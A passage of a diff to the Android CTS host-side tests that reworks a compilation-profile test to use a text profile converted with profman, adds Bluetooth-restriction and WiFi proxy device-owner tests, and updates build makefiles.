-    // Copied over from BackupQuotaTest
-    private String setBackupTransport(String transport) throws Exception {
-        String output = mDevice.executeShellCommand("bmgr transport " + transport);
-        Pattern pattern = Pattern.compile("\\(formerly (.*)\\)$");
-        Matcher matcher = pattern.matcher(output);
-        if (matcher.find()) {
-            return matcher.group(1);
-        } else {
-            throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
-        }
-    }
-
-    // Copied over from BackupQuotaTest
-    private boolean hasBackupTransport(String transport) throws Exception {
-        String output = mDevice.executeShellCommand("bmgr list transports");
-        for (String t : output.split(" ")) {
-            if (transport.equals(t.trim())) {
-                return true;
-            }
-        }
-        return false;
-    }
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java
deleted file mode 100644
index e82e9dfd..0000000
--- a/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static org.junit.Assert.assertTrue;
-
-import com.android.tradefed.log.LogUtil.CLog;
-
-/**
- * Test checking that files created by an app are restored successfully after a backup, but that
- * files put in the folder provided by getNoBackupFilesDir() [files/no_backup] are NOT backed up.
- *
- * Invokes device side tests provided by android.cts.backup.fullbackupapp.FullbackupTest.
- */
-public class NoBackupFolderHostSideTest extends BaseBackupHostSideTest {
-
-    private static final String TESTS_APP_NAME = "android.cts.backup.fullbackupapp";
-    private static final String DEVICE_TEST_CLASS_NAME = TESTS_APP_NAME + ".FullbackupTest";
-
-    public void testNoBackupFolder() throws Exception {
-        if (!mIsBackupSupported) {
-            CLog.i("android.software.backup feature is not supported on this device");
-            return;
-        }
-        // Generate the files that are going to be backed up.
-        runDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "createFiles");
-
-        // Do a backup
-        String backupnowOutput = backupNow(TESTS_APP_NAME);
-
-        assertBackupIsSuccessful(TESTS_APP_NAME, backupnowOutput);
-
-        // Delete the files
-        runDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "deleteFilesAfterBackup");
-
-        // Do a restore
-        String restoreOutput = restore(TESTS_APP_NAME);
-
-        assertRestoreIsSuccessful(restoreOutput);
-
-        // Check that the right files were restored
-        runDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "checkRestoredFiles");
-    }
-}
diff --git a/hostsidetests/compilation/assets/primary.prof b/hostsidetests/compilation/assets/primary.prof
deleted file mode 100644
index dbd70c7..0000000
--- a/hostsidetests/compilation/assets/primary.prof
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/compilation/assets/primary.prof.txt b/hostsidetests/compilation/assets/primary.prof.txt
new file mode 100644
index 0000000..e74ec47
--- /dev/null
+++ b/hostsidetests/compilation/assets/primary.prof.txt
@@ -0,0 +1,18 @@
+Landroid/cts/compilation/CompilationTargetActivity;
+HLandroid/cts/compilation/CompilationTargetActivity;->m11()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m12()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m13()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m14()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m15()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m16()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m17()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m18()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m19()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m20()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m21()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m22()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m23()I
+HLandroid/cts/compilation/CompilationTargetActivity;->m24()I
+SLandroid/cts/compilation/CompilationTargetActivity;->onResume()V
+SPLandroid/cts/compilation/CompilationTargetActivity;->onPause()V
+
diff --git a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
index ab7dc43..b925728 100644
--- a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
+++ b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
@@ -64,8 +64,7 @@
     }
 
     private ITestDevice mDevice;
-    private byte[] profileBytes;
-    private File localProfileFile;
+    private File textProfileFile;
     private String odexFilePath;
     private byte[] initialOdexFileContents;
     private File apkFile;
@@ -95,12 +94,13 @@
         mDevice.uninstallPackage(APPLICATION_PACKAGE); // in case it's still installed
         mDevice.installPackage(apkFile, false);
 
-        // Load snapshot of file contents from {@link ProfileLocation#CUR} after
-        // manually running the target application manually for a few minutes.
-        profileBytes = ByteStreams.toByteArray(getClass().getResourceAsStream("/primary.prof"));
-        localProfileFile = File.createTempFile("compilationtest", "prof");
-        Files.write(profileBytes, localProfileFile);
+        // Write the text profile to a temporary file so that we can run profman on it to create a
+        // real profile.
+        byte[] profileBytes = ByteStreams.toByteArray(
+                getClass().getResourceAsStream("/primary.prof.txt"));
         assertTrue("empty profile", profileBytes.length > 0); // sanity check
+        textProfileFile = File.createTempFile("compilationtest", "prof.txt");
+        Files.write(profileBytes, textProfileFile);
 
         if (mIsRoot) {
             // ensure no profiles initially present
@@ -110,10 +110,24 @@
                     executeAdbCommand(0, "shell", "rm", clientPath);
                 }
             }
-            executeCompile(/* force */ true);
+            executeCompile(/* force */ true, "speed");
             this.odexFilePath = getOdexFilePath();
-            this.initialOdexFileContents = readFileOnClient(odexFilePath);
+            byte[] speedContents = readFileOnClient(odexFilePath);
+            assertTrue("empty odex file", speedContents.length > 0); // sanity check
+            // Confirm the compiler-filter used in creating the odex file
+            String compilerFilter = getCompilerFilter(odexFilePath);
+            assertEquals("compiler-filter", "speed", compilerFilter);
+
+            // Recompile with speed-profile and an empty profile.
+            executeCompile(/* force */ true, "speed-profile");
+            initialOdexFileContents = readFileOnClient(odexFilePath);
             assertTrue("empty odex file", initialOdexFileContents.length > 0); // sanity check
+            // Confirm the compiler-filter used in creating the odex file
+            compilerFilter = getCompilerFilter(odexFilePath);
+            assertEquals("compiler-filter", "speed-profile", compilerFilter);
+            assertTrue("speed-profile should be smaller " + initialOdexFileContents.length + " " +
+                               speedContents.length,
+                       initialOdexFileContents.length < speedContents.length);
         }
     }
 
@@ -123,7 +137,7 @@
             mDevice.executeAdbCommand("unroot");
         }
         apkFile.delete();
-        localProfileFile.delete();
+        textProfileFile.delete();
         mDevice.uninstallPackage(APPLICATION_PACKAGE);
         super.tearDown();
     }
@@ -202,7 +216,7 @@
     }
 
     /**
-     * Places {@link #profileBytes} in the specified locations, recompiles (without -f)
+     * Places the profile in the specified locations, recompiles (without -f)
      * and checks the compiler-filter in the odex file.
      */
     private void compileWithProfilesAndCheckFilter(Set<ProfileLocation> profileLocations)
@@ -210,7 +224,7 @@
         for (ProfileLocation profileLocation : profileLocations) {
             writeProfile(profileLocation);
         }
-        executeCompile(/* force */ false);
+        executeCompile(/* force */ false, "speed-profile");
 
         // Confirm the compiler-filter used in creating the odex file
         String compilerFilter = getCompilerFilter(odexFilePath);
@@ -221,9 +235,9 @@
     /**
      * Invokes the dex2oat compiler on the client.
      */
-    private void executeCompile(boolean force) throws Exception {
+    private void executeCompile(boolean force, String filter) throws Exception {
         List<String> command = new ArrayList<>(Arrays.asList("shell", "cmd", "package", "compile",
-                "-m", "speed-profile"));
+                "-m", filter));
         if (force) {
             command.add("-f");
         }
@@ -233,7 +247,8 @@
     }
 
     /**
-     * Copies {@link #localProfileFile} to the specified location on the client device.
+     * Copies {@link #textProfileFile} to the device and convert it to a binary profile on the
+     * client device.
      */
     private void writeProfile(ProfileLocation location) throws Exception {
         String targetPath = location.getPath();
@@ -248,12 +263,35 @@
         while (owner.startsWith(" ")) {
             owner = owner.substring(1);
         }
-        mDevice.executeAdbCommand("push", localProfileFile.getAbsolutePath(), targetPath);
+
+        String targetPathTemp = targetPath + ".tmp";
+        mDevice.executeAdbCommand("push", textProfileFile.getAbsolutePath(), targetPathTemp);
+        assertTrue("Failed to push text profile", mDevice.doesFileExist(targetPathTemp));
+
+        String targetPathApk = targetPath + ".apk";
+        mDevice.executeAdbCommand("push", apkFile.getAbsolutePath(), targetPathApk);
+        assertTrue("Failed to push APK from ", mDevice.doesFileExist(targetPathApk));
+        // Run profman to create the real profile on device.
+        try {
+            String pathSpec = executeAdbCommand(1, "shell", "pm", "path", APPLICATION_PACKAGE)[0];
+            pathSpec = pathSpec.replace("package:", "");
+            assertTrue("Failed find APK " + pathSpec, mDevice.doesFileExist(pathSpec));
+            executeAdbCommand(
+                "shell",
+                "profman",
+                "--create-profile-from=" + targetPathTemp,
+                "--apk=" + pathSpec,
+                "--dex-location=" + pathSpec,
+                "--reference-profile-file=" + targetPath);
+        } catch (Exception e) {
+            assertEquals("", e.toString());
+        }
         executeAdbCommand(0, "shell", "chown", owner, targetPath);
         // Verify that the file was written successfully
         assertTrue("failed to create profile file", mDevice.doesFileExist(targetPath));
-        assertEquals(Integer.toString(profileBytes.length),
-                executeAdbCommand(1, "shell", "stat", "-c", "%s", targetPath)[0]);
+        String[] result = executeAdbCommand(1, "shell", "stat", "-c", "%s", targetPath);
+        assertTrue("profile " + targetPath + " is " + Integer.parseInt(result[0]) + " bytes",
+                   Integer.parseInt(result[0]) > 0);
     }
 
     /**
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
index 824dd97..2c1f697 100644
--- a/hostsidetests/cpptools/Android.mk
+++ b/hostsidetests/cpptools/Android.mk
@@ -23,7 +23,7 @@
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsCppToolsTestCases
 
-LOCAL_JAVA_LIBRARIES := old-cts-tradefed ddmlib-prebuilt tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := ddmlib-prebuilt tradefed-prebuilt
 
 LOCAL_CTS_TEST_PACKAGE := android.tests.cpptools
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
index 207b875..45f4193 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
@@ -27,7 +27,12 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-v4  \
+    ctstestrunner  \
+    ub-uiautomator  \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
index 6e70b01..1068827 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
@@ -27,7 +27,12 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-v4 \
+    ctstestrunner \
+    ub-uiautomator \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/Android.mk b/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/Android.mk
index 192ce46..f5d37f1 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/Android.mk
@@ -26,7 +26,11 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES = \
+    android-support-v4 \
+    ctstestrunner \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
index 46d9cc0..d072e8a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
@@ -26,7 +26,10 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
index 9afaa7a..a288825 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
@@ -26,7 +26,10 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
index 8b62604a..a0740fb 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
@@ -57,7 +57,8 @@
             UserManager.DISALLOW_SAFE_BOOT,
             UserManager.ALLOW_PARENT_PROFILE_APP_LINKING,
             UserManager.DISALLOW_DATA_ROAMING,
-            UserManager.DISALLOW_SET_USER_ICON
+            UserManager.DISALLOW_SET_USER_ICON,
+            UserManager.DISALLOW_BLUETOOTH
     };
 
     /**
@@ -76,6 +77,7 @@
             UserManager.DISALLOW_FUN,
             UserManager.DISALLOW_SAFE_BOOT,
             UserManager.DISALLOW_CREATE_WINDOWS,
+            UserManager.DISALLOW_BLUETOOTH,
             // UserManager.DISALLOW_DATA_ROAMING, // Not set during CTS
 
             // PO can set them too, but when DO sets them, they're global.
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
index 1ff9b6c..5fca606 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
@@ -51,7 +51,8 @@
             UserManager.DISALLOW_SAFE_BOOT,
             UserManager.ALLOW_PARENT_PROFILE_APP_LINKING,
             // UserManager.DISALLOW_DATA_ROAMING, // Has unrecoverable side effects.
-            UserManager.DISALLOW_SET_USER_ICON
+            UserManager.DISALLOW_SET_USER_ICON,
+            UserManager.DISALLOW_BLUETOOTH
     };
 
     public static final String[] DISALLOWED = new String[] {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
index 8cd56bf..407e90b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
@@ -57,7 +57,8 @@
             UserManager.DISALLOW_FUN,
             UserManager.DISALLOW_SAFE_BOOT,
             UserManager.DISALLOW_CREATE_WINDOWS,
-            UserManager.DISALLOW_DATA_ROAMING
+            UserManager.DISALLOW_DATA_ROAMING,
+            UserManager.DISALLOW_BLUETOOTH
     };
 
     @Override
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index 18d1b8b..20ed312 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -26,7 +26,10 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index 64d4079..10711ad 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -24,6 +24,8 @@
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+    <uses-permission android:name="android.permission.BLUETOOTH" />
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
 
     <!-- Add a network security config that trusts user added CAs for tests -->
     <application android:networkSecurityConfig="@xml/network_security_config"
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
new file mode 100644
index 0000000..0ddf842
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceowner;
+
+import android.app.admin.DevicePolicyManager;
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import android.os.UserManager;
+
+/**
+ * Test interaction between {@link UserManager#DISALLOW_BLUETOOTH} user restriction and the state
+ * of Bluetooth.
+ */
+public class BluetoothRestrictionTest extends BaseDeviceOwnerTest {
+
+    private static final int DISABLE_TIMEOUT_MS = 8000; // ms timeout for BT disable
+    private static final int ENABLE_TIMEOUT_MS = 10000; // ms timeout for BT enable
+    private static final int POLL_TIME_MS = 400;           // ms to poll BT state
+    private static final int CHECK_WAIT_TIME_MS = 1000;    // ms to wait before enable/disable
+    private static final int COMPONENT_STATE_TIMEOUT_MS = 2000;
+    private static final ComponentName OPP_LAUNCHER_COMPONENT = new ComponentName(
+            "com.android.bluetooth", "com.android.bluetooth.opp.BluetoothOppLauncherActivity");
+
+    private BluetoothAdapter mBluetoothAdapter;
+    private PackageManager mPackageManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
+        mPackageManager = mContext.getPackageManager();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mDevicePolicyManager.clearUserRestriction(getWho(), UserManager.DISALLOW_BLUETOOTH);
+    }
+
+    public void testEnableBluetoothFailsWhenDisallowed() throws Exception {
+        if (mBluetoothAdapter == null) {
+            return;
+        }
+
+        // Make sure Bluetooth is initially disabled.
+        disable();
+
+        // Add the user restriction disallowing Bluetooth.
+        mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_BLUETOOTH);
+
+        // Check that enabling Bluetooth fails.
+        assertFalse(mBluetoothAdapter.enable());
+    }
+
+    public void testBluetoothGetsDisabledAfterRestrictionSet() throws Exception {
+        if (mBluetoothAdapter == null) {
+            return;
+        }
+
+        // Make sure Bluetooth is enabled first.
+        enable();
+
+        // Add the user restriction to disallow Bluetooth.
+        mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_BLUETOOTH);
+
+        // Check that Bluetooth gets disabled as a result.
+        assertDisabledAfterTimeout();
+    }
+
+    public void testEnableBluetoothSucceedsAfterRestrictionRemoved() throws Exception {
+        if (mBluetoothAdapter == null) {
+            return;
+        }
+
+        // Add the user restriction.
+        mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_BLUETOOTH);
+
+        // Make sure Bluetooth is disabled.
+        assertDisabledAfterTimeout();
+
+        // Remove the user restriction.
+        mDevicePolicyManager.clearUserRestriction(getWho(), UserManager.DISALLOW_BLUETOOTH);
+
+        // Check that it is possible to enable Bluetooth again once the restriction has been
+        // removed.
+        enable();
+    }
+
+    /**
+     * Tests that BluetoothOppLauncherActivity gets disabled when Bluetooth is disallowed.
+     *
+     * <p> It also checks the state of the activity is set back to default if Bluetooth is not
+     * disallowed anymore.
+     */
+    public void testOppDisabledWhenRestrictionSet() throws Exception {
+        if (mBluetoothAdapter == null) {
+            return;
+        }
+
+        // Add the user restriction.
+        mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_BLUETOOTH);
+
+        // The BluetoothOppLauncherActivity's component should be disabled.
+        assertComponentStateAfterTimeout(
+                OPP_LAUNCHER_COMPONENT, PackageManager.COMPONENT_ENABLED_STATE_DISABLED);
+
+        // Remove the user restriction.
+        mDevicePolicyManager.clearUserRestriction(getWho(), UserManager.DISALLOW_BLUETOOTH);
+
+        // The BluetoothOppLauncherActivity's component should be in the default state.
+        assertComponentStateAfterTimeout(
+                OPP_LAUNCHER_COMPONENT, PackageManager.COMPONENT_ENABLED_STATE_DEFAULT);
+    }
+
+    /** Helper to turn BT off.
+     * This method will either fail on an assert, or return with BT turned off.
+     * Behavior of getState() and isEnabled() are validated along the way.
+     */
+    private void disable() {
+        sleep(CHECK_WAIT_TIME_MS);
+        if (mBluetoothAdapter.getState() == BluetoothAdapter.STATE_OFF) {
+            assertFalse(mBluetoothAdapter.isEnabled());
+            return;
+        }
+
+        assertEquals(BluetoothAdapter.STATE_ON, mBluetoothAdapter.getState());
+        assertTrue(mBluetoothAdapter.isEnabled());
+        mBluetoothAdapter.disable();
+        assertDisabledAfterTimeout();
+    }
+
+    /**
+     * Helper method which waits for Bluetooth to be disabled. Fails if it doesn't happen in a
+     * given time.
+     */
+    private void assertDisabledAfterTimeout() {
+        boolean turnOff = false;
+        final long timeout = SystemClock.elapsedRealtime() + DISABLE_TIMEOUT_MS;
+        while (SystemClock.elapsedRealtime() < timeout) {
+            int state = mBluetoothAdapter.getState();
+            switch (state) {
+            case BluetoothAdapter.STATE_OFF:
+                assertFalse(mBluetoothAdapter.isEnabled());
+                return;
+            default:
+                if (state != BluetoothAdapter.STATE_ON || turnOff) {
+                    assertEquals(BluetoothAdapter.STATE_TURNING_OFF, state);
+                    turnOff = true;
+                }
+                break;
+            }
+            sleep(POLL_TIME_MS);
+        }
+        fail("disable() timeout");
+    }
+
+    private void assertComponentStateAfterTimeout(ComponentName component, int expectedState) {
+        final long timeout = SystemClock.elapsedRealtime() + COMPONENT_STATE_TIMEOUT_MS;
+        int state = -1;
+        while (SystemClock.elapsedRealtime() < timeout) {
+            state = mPackageManager.getComponentEnabledSetting(component);
+            if (expectedState == state) {
+                // Success
+                return;
+            }
+            sleep(POLL_TIME_MS);
+        }
+        fail("The state of " + component + " should have been " + expectedState + ", it but was "
+                + state + " after timeout.");
+    }
+
+    /** Helper to turn BT on.
+     * This method will either fail on an assert, or return with BT turned on.
+     * Behavior of getState() and isEnabled() are validated along the way.
+     */
+    private void enable() {
+        sleep(CHECK_WAIT_TIME_MS);
+        if (mBluetoothAdapter.getState() == BluetoothAdapter.STATE_ON) {
+            assertTrue(mBluetoothAdapter.isEnabled());
+            return;
+        }
+
+        assertEquals(BluetoothAdapter.STATE_OFF, mBluetoothAdapter.getState());
+        assertFalse(mBluetoothAdapter.isEnabled());
+        mBluetoothAdapter.enable();
+        assertEnabledAfterTimeout();
+    }
+
+    /**
+     * Helper method which waits for Bluetooth to be enabled. Fails if it doesn't happen in a given
+     * time.
+     */
+    private void assertEnabledAfterTimeout() {
+        boolean turnOn = false;
+        final long timeout = SystemClock.elapsedRealtime() + ENABLE_TIMEOUT_MS;
+        while (SystemClock.elapsedRealtime() < timeout) {
+            int state = mBluetoothAdapter.getState();
+            switch (state) {
+            case BluetoothAdapter.STATE_ON:
+                assertTrue(mBluetoothAdapter.isEnabled());
+                return;
+            default:
+                if (state != BluetoothAdapter.STATE_OFF || turnOn) {
+                    assertEquals(BluetoothAdapter.STATE_TURNING_ON, state);
+                    turnOn = true;
+                }
+                break;
+            }
+            sleep(POLL_TIME_MS);
+        }
+        fail("enable() timeout");
+    }
+
+    private static void sleep(long t) {
+        try {
+            Thread.sleep(t);
+        } catch (InterruptedException e) {}
+    }
+
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiSetHttpProxyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiSetHttpProxyTest.java
new file mode 100644
index 0000000..bd651f2
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiSetHttpProxyTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceowner;
+
+import android.content.pm.PackageManager;
+
+import com.android.compatibility.common.util.WifiConfigCreator;
+
+/**
+ * Tests that DeviceOwner can add WifiConfigurations containing a HttpProxy
+ */
+public class WifiSetHttpProxyTest extends BaseDeviceOwnerTest {
+
+    private static final String TAG = "WifiSetHttpProxyTest";
+    private static final String TEST_PAC_URL = "http://www.example.com/proxy.pac";
+    private static final String TEST_SSID = "SomeProxyApSsid";
+    private static final int FAILURE_NETWORK_ID = -1;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+    }
+
+    /**
+     * Test WifiManager.addNetwork() succeeds for a DeviceOwner adding a WifiConfiguraiton
+     * containing a HttpProxy.
+     * 2. Creates a new WifiConfiguration with ssid TEST_SSID
+     * 3. Adds a PAC proxy file URL to the WifiConfiguraiton
+     * 4. Adds the WifiConfiguration via WifiManager.addNetwork(), expects success
+     * 5. Verifies the added WifiConfiguration has the same proxy
+     */
+    public void testSetHttpProxy() throws Exception {
+        PackageManager packageManager = getContext().getPackageManager();
+        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiConfigCreator configCreator = new WifiConfigCreator(getContext());
+        String retreievedPacProxyUrl = configCreator.addHttpProxyNetworkVerifyAndRemove(
+                TEST_SSID, TEST_PAC_URL);
+        assertEquals(TEST_PAC_URL, retreievedPacProxyUrl);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index 964c389..bb64231 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -26,7 +26,10 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-v4 \
+    ctstestrunner \
